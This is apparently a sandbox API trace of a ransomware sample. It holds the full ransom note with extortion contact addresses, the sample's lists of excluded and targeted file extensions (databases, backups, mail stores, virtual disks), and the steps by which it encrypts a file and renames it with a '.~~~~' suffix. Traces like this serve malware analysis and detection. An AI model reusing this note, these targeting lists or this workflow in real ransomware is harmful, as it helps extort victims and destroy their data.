	[0086.369] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.369] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.370] CloseHandle (hObject=0x128) returned 1
	[0086.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5c50 | out: hHeap=0x300000) returned 1
	[0086.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0086.371] RtlWakeConditionVariable () returned 0x365f70
	[0086.371] GetCurrentThreadId () returned 0x9cc
	[0086.371] GetCurrentThreadId () returned 0x9cc
	[0086.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba7a8
	[0086.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb4c8 | out: hHeap=0x300000) returned 1
	[0086.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dee0 | out: hHeap=0x300000) returned 1
	[0086.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb4c8
	[0086.371] lstrlenW (lpString=".scr") returned 4
	[0086.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0086.371] lstrlenW (lpString=".cmd") returned 4
	[0086.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0086.371] lstrlenW (lpString=".dll") returned 4
	[0086.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0086.371] lstrlenW (lpString=".bat") returned 4
	[0086.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0086.371] lstrlenW (lpString=".cpl") returned 4
	[0086.371] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0086.371] lstrlenW (lpString=".sys") returned 4
	[0086.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0086.372] lstrlenW (lpString=".msc") returned 4
	[0086.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0086.372] lstrlenW (lpString=".com") returned 4
	[0086.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0086.372] lstrlenW (lpString=".lnk") returned 4
	[0086.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0086.372] lstrlenW (lpString=".msp") returned 4
	[0086.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0086.372] lstrlenW (lpString=".pif") returned 4
	[0086.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0086.372] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.373] lstrlenW (lpString=".sqb") returned 4
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0086.373] lstrlenW (lpString=".ost") returned 4
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0086.373] lstrlenW (lpString=".txt") returned 4
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0086.373] lstrlenW (lpString=".mdt") returned 4
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0086.373] lstrlenW (lpString=".BDB") returned 4
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0086.373] lstrlenW (lpString=".eql") returned 4
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0086.373] lstrlenW (lpString=".DBF") returned 4
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0086.373] lstrlenW (lpString=".EQL") returned 4
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0086.373] lstrlenW (lpString=".FDB") returned 4
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0086.373] lstrlenW (lpString=".EDB") returned 4
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0086.373] lstrlenW (lpString=".DACPAC") returned 7
	[0086.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0086.374] lstrlenW (lpString=".VHD") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0086.374] lstrlenW (lpString=".DBV") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0086.374] lstrlenW (lpString=".dacpac") returned 7
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0086.374] lstrlenW (lpString=".sdf") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0086.374] lstrlenW (lpString=".accdb") returned 6
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0086.374] lstrlenW (lpString=".DBX") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0086.374] lstrlenW (lpString=".MDT") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0086.374] lstrlenW (lpString=".SQB") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0086.374] lstrlenW (lpString=".vhd") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0086.374] lstrlenW (lpString=".bac") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0086.374] lstrlenW (lpString=".mdf") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0086.374] lstrlenW (lpString=".BAK") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0086.374] lstrlenW (lpString=".BAC") returned 4
	[0086.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0086.374] lstrlenW (lpString=".dbs") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0086.375] lstrlenW (lpString=".vhdx") returned 5
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0086.375] lstrlenW (lpString=".NDF") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0086.375] lstrlenW (lpString=".dat") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0086.375] lstrlenW (lpString=".DBS") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0086.375] lstrlenW (lpString=".CKP") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0086.375] lstrlenW (lpString=".edb") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0086.375] lstrlenW (lpString=".PST") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0086.375] lstrlenW (lpString=".dbf") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0086.375] lstrlenW (lpString=".SQL") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0086.375] lstrlenW (lpString=".pst") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0086.375] lstrlenW (lpString=".dbv") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0086.375] lstrlenW (lpString=".SDF") returned 4
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0086.375] lstrlenW (lpString=".dtxs") returned 5
	[0086.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0086.376] lstrlenW (lpString=".db3") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0086.376] lstrlenW (lpString=".OST") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0086.376] lstrlenW (lpString=".dbx") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0086.376] lstrlenW (lpString=".DB3") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0086.376] lstrlenW (lpString=".DAT") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0086.376] lstrlenW (lpString=".VHDX") returned 5
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0086.376] lstrlenW (lpString=".ndf") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0086.376] lstrlenW (lpString=".DB") returned 3
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0086.376] lstrlenW (lpString=".sql") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0086.376] lstrlenW (lpString=".MYD") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0086.376] lstrlenW (lpString=".DBT") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0086.376] lstrlenW (lpString=".ACCDB") returned 6
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0086.376] lstrlenW (lpString=".fdb") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0086.376] lstrlenW (lpString=".bak") returned 4
	[0086.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0086.377] lstrlenW (lpString=".myd") returned 4
	[0086.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0086.377] lstrlenW (lpString=".DTXS") returned 5
	[0086.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0086.377] lstrlenW (lpString=".ckp") returned 4
	[0086.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0086.377] lstrlenW (lpString=".dbt") returned 4
	[0086.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0086.377] lstrlenW (lpString=".db") returned 3
	[0086.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0086.377] lstrlenW (lpString=".TXT") returned 4
	[0086.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0086.377] lstrlenW (lpString=".MDF") returned 4
	[0086.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0086.377] lstrlenW (lpString=".bdb") returned 4
	[0086.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0086.377] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.377] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.378] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.378] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.379] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20636875784) returned 1
	[0086.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d4a5370, dwHighDateTime=0x1d60e1e)) 
	[0086.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dee0
	[0086.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dee0 | out: hHeap=0x300000) returned 1
	[0086.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baaf0
	[0086.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0086.379] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.379] GetLastError () returned 0x0
	[0086.380] GetLastError () returned 0x0
	[0086.380] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.380] GetLastError () returned 0x0
	[0086.380] GetLastError () returned 0x0
	[0086.382] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff975, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.382] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x68b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x68b, lpOverlapped=0x0) returned 1
	[0086.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.382] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.382] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.382] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.383] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.383] CloseHandle (hObject=0x128) returned 1
	[0086.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.383] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.~~~~")) returned 1
	[0086.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0086.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.384] GetLastError () returned 0x0
	[0086.384] RtlWakeConditionVariable () returned 0x365f70
	[0086.384] GetCurrentThreadId () returned 0x9cc
	[0086.384] GetCurrentThreadId () returned 0x9cc
	[0086.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba7a8
	[0086.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb570 | out: hHeap=0x300000) returned 1
	[0086.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de70 | out: hHeap=0x300000) returned 1
	[0086.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb570
	[0086.384] lstrlenW (lpString=".scr") returned 4
	[0086.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".scr") returned 0x0
	[0086.384] lstrlenW (lpString=".cmd") returned 4
	[0086.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".cmd") returned 0x0
	[0086.384] lstrlenW (lpString=".dll") returned 4
	[0086.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".dll") returned 0x0
	[0086.384] lstrlenW (lpString=".bat") returned 4
	[0086.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".bat") returned 0x0
	[0086.384] lstrlenW (lpString=".cpl") returned 4
	[0086.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".cpl") returned 0x0
	[0086.385] lstrlenW (lpString=".sys") returned 4
	[0086.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".sys") returned 0x0
	[0086.385] lstrlenW (lpString=".msc") returned 4
	[0086.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".msc") returned 0x0
	[0086.385] lstrlenW (lpString=".com") returned 4
	[0086.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".com") returned 0x0
	[0086.385] lstrlenW (lpString=".lnk") returned 4
	[0086.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".lnk") returned 0x0
	[0086.385] lstrlenW (lpString=".msp") returned 4
	[0086.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".msp") returned 0x0
	[0086.385] lstrlenW (lpString=".pif") returned 4
	[0086.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".pif") returned 0x0
